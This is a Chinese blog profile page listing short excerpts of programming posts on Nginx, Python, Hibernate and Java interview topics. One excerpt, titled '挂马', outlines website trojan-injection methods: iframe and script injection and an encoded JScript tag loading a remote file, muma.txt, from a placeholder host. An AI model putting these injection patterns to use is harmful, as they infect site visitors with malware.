自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(24)
  • 收藏
  • 关注

原创 Nginx 记录

在mac上安装了 brew  然后使用 brew install nginx 安装的  还有 brew install mysqlnginx 默认目录给放到了 /usr/local/sbin启动nginx 的时候发现Address already in use用lsof -i :8080  查看这个端口 ebProces   464 liu1695347_apple   25u

2013-01-09 17:36:07 2676

原创 python 常用方法记录

<br />a = set([1,2,3,1,3,4])<br />a.difference(数组B)<br />》》》返回a中所有不属于B的元素  返回一个元祖

2011-03-21 15:35:00 416

原创 挂马

一:框架挂马 二:js文件挂马 首先将以下代码 document.write("' src='地址'>"); 保存为xxx.js, 则JS挂马代码为 三:js变形加密 PT language="JScript.Encode" src=http://www.xxx.com/muma.txt>muma.txt可改成任意后缀 四:body挂马 

2011-01-11 11:15:00 870

原创 python快速排序

<br /><br />#-*- coding: utf-8 -*-<br />class QuickSort:  <br />    def sort(self,list,left,right):  <br />        #开始位置小于 位置<br />        if(left<right):  <br />            #取到中间的一个下标值<br />            s=list[(left+right)/2]  <br />            #i=0<br /> 

2011-01-10 18:34:00 537

原创 Python urllib 实现突破下载

<br />#! /usr/bin/env python<br />#coding=utf-8<br />import urllib   <br />url = r"http://www.javaeye.com/images/logo.gif"  <br />path = r"c:/111111/1.jpg"  <br />data = urllib.urlopen(url).read()   <br />f = file(path,"wb")   <br />f.write(data)   <br />f

2010-11-03 11:21:00 359

原创 Hibernate一级缓存和二级缓存

<br />什么是缓存 <br />可以在内存中开辟一块空间,本来应该在硬盘里的数据,现在放到内存中,如果需要直接在内存中取,而不需要取数据库中取<br />1级缓存<br /> <br /> <br /> <br />2级缓存        不用去数据库里查询<br />          1,经常会访问<br />          2,改动不大  不会经常改动  比如用户权限 <br />          3。数量有限<br /> <br />          查询重复 才可以使用到2级缓存  比

2010-06-18 03:46:00 327

原创 JVM虚拟机加载类原理机制

<br />JVM虚拟机加载类原理机制

2010-06-12 20:36:00 457

原创 Class.forName()和new和Instantiation()区别

Class.forName()和new和Instantiation()区别

2010-06-12 20:35:00 429

转载 内部类 概念

   提起Java内部类(Inner Class)可能很多人不太熟悉,实际上类似的概念在C++里也有,那就是嵌套类(Nested Class),关于这两者的区别与联系,在下文中会有对比。内部类从表面上看,就是在类中又定义了一个类(下文会看到,内部类可以在很多地方定义),而实际上并没有那么简单,乍看上去内部类似乎有些多余,它的用处对于初学者来说可能并不是那么显著,但是随着对它的深入了解,你会发现Java的设计者在内部类身上的确是用心良苦。学会使用内部类,是掌握Java高级编程的一部分,它可以让你更优雅地设计你

2010-06-08 15:56:00 711

原创 ssh框架的优缺点

<br />Struts:<br /> <br />           优点:首先他是开源的,使开发者可以更深了解他的原理和内部实现机制,   可扩展性<br />                  采用MVC模式分离业务逻辑层 显示层 模型层 低耦合,结构清晰,使开发者专注于业务逻辑<br />                  还有丰富的标签库供使用<br />                  支持国际化<br />                 还有很高的重用性<br /> <br /> <br

2010-06-05 20:04:00 22834

原创 Struts配置文件的使用XML

web XML 元素是xml。的根元素,子元素之间的顺序有他们在父元素中出现的先后顺序决定,配置属性s打头的都是父类元素web xml 配置错误信息404                       报404和500错误的时候转到该页面500                       捕获异常处理         WEB容器会捕获3个异常R

2010-03-12 18:08:00 616

原创 Iterator和listIterator的区别 迭代器

我们在使用List,Set的时候,为了实现对其数据的遍历,我们经常使用到了Iterator(迭代器)。使用迭代器,你不需要干涉其遍历的过程,只需要每次取出一个你想要的数据进行处理就可以了。 但是在使用的时候也是有不同的。List和Set都有iterator()来取得其迭代器。对List来说,你也可以通过listIterator()取得其迭代器,两种迭代器在有些时候是不能通用的,Iterator

2010-03-11 15:13:00 469

原创 java技术

(1) Jbuilder:一个可视的Java编程工具。(2) Eclipse:一个强大的Java编程工具。(3) HSQLDB:是纯Java开发的关系型数据库,并提供JDBC驱动存取数据。(4) Mckoi DataBase:是由纯Java开发的数据库。(5) ArgoUML:使用Java编写的开源UML产品。(6) Columba:是基于Java的E-mail客户端。(7

2010-02-18 21:00:00 399

原创 servlet的会话跟踪

                           servlet的会话跟踪Seevlet容器:     当一个session开始时,servlet容器创建一个httpsession对象并同时在内存中开辟一个空间,会话的创建 httpsession session =request.getsession();  =true;如果为空则创建一个 为false代表如果为空则返回为空,在客户端浏览

2009-12-19 08:06:00 356

转载 java面试

简答题 1.forward 和redirect的区别 forward是服务器请求资源,服务器直接访问目标地址的URL,把那个URL的响应内容读取过来,然后把这些内容再发给浏览器,浏览器根本不知道服务器发送的内容是从哪儿来的,所以它的地址栏中还是原来的地址。 redirect就是服务端根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址,一般来说浏览器会用刚才请求的所有参数重新请求,所以sessi

2009-12-14 04:46:00 545

原创 java面试题3

23.编程实现序列化的Student(sno,sname)对象在网络上的传输 package com.softeem.demo; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import ja

2009-11-24 17:19:00 438

原创 java面试题2

 18.做一个单子模式的类,只加载一次属性文件 package com.softeem.demo; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; import java.util.Propert

2009-11-24 17:18:00 348

原创 mvc模式

 框架中所使用的组件: ActionServlet  控制器 ActionClass  包含事务逻辑 ActionForm  显示模块数据 ActionMapping  帮助控制器将请求映射到操作 ActionForward  用来指示操作转移的对象 ActionError  用来存储和回收错误

2009-11-13 09:21:00 378

原创 2年java购物车分析

一.点击图书,展示该书的详细信息 点击图书→books页面→通过url重写displayBook.jsp?isbn=该书编号 →传入displayBooks页面→    →使用标签set接受param本页面传入的isbn值,变量名为isbn,用来保存url重写的isbn。→循环判断session集合中的list对象,遍历判断isbn是否等于currentBooks.isbn,如果存在则用set

2009-11-13 09:12:00 985

原创 会话的跟踪

会话:客户端与服务器的一次 一连串的交互过程。 实现方式 客户端:url重写,隐藏表单域,cookie网络协议:HTTP协议服务器: url重写:链接jsp页面之后的参数  http://hostname/list.aspx ?id=101 URL重写的优点:l    缩短url,隐藏实际路径提高安全性易于用户记忆和键入易于被搜索引擎收录 

2009-10-19 09:29:00 352

原创 线程和线程同步

 进程:windows多线程操作系统,一个进程就是一个独立的应用程序,main()    Thread1.什么是进程,什么是线程?进程就是一个独立的应用程序,进程是一种"自包容"的运行程序,有自己的地址空间利用对象,通常可以将一个程序分割成相互独立的区域,通常我们也需要将一个程序转换成多个独立运行的子任务,像这样的子任务通常叫做线程(Thread)2.如何创建一个线程?3.线程的状态?4.线程的同

2009-10-15 18:36:00 313

原创 静态,单态,工厂

 静态:什么是静态, 其他语言中类内存中不占空间,java在内存中占空间java中的属性表示对象的特征,方法表示对象的行为,表示一个独立的处理过程,于对象无关静态的东西属于类不属于对象,静态在类空间中存在,普通属性在对象空间中存在,静态的东西只能操作静态属性,静态的方法表示一个过程,有了静态方法可以不创建对象而直接调用过程.静态有什么用:1.可以直接在面向对象的语言中直接调用一个处理过程2.可以作

2009-10-15 18:35:00 1061

原创 JAVA集合和数组的区别?

数组:数组是java语言内置的数据类型,他是一个线性的序列,所有可以快速访问其他的元素,数组和其他语言不同,当你创建了一个数组时,他的容量是不变的,而且在生命周期也是不能改变的,还有JAVA数组会做边界检查,如果发现有越界现象,会报RuntimeException异常错误,所有不用担心和C和C++一样不做边界检查而出现的问题,当然检查边界会以效率为代价,数组和其他容器体现在3个方面:1.效率2.类

2009-10-02 14:06:00 16909 2

原创 第一节课笔记 关于java基础

java基础部分  **(jQuery,PHP,iBATIS,Ajax+jsp)**编程语言的发展过程1.机器码-汇编语言-面向过程(c语言所有都是函数没有主语)-面向对象(c++)vb是基于对象 没有多态面向对象的3打特证是 :继承,封装,和多态。继承:super:调用父类指定方法1:出现在子类的普通方法,调用指定父类的方法2.出现在子类的构造方法,调用父类指定的构造方法封装:1.把类中的部

2009-09-28 02:41:00 652

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除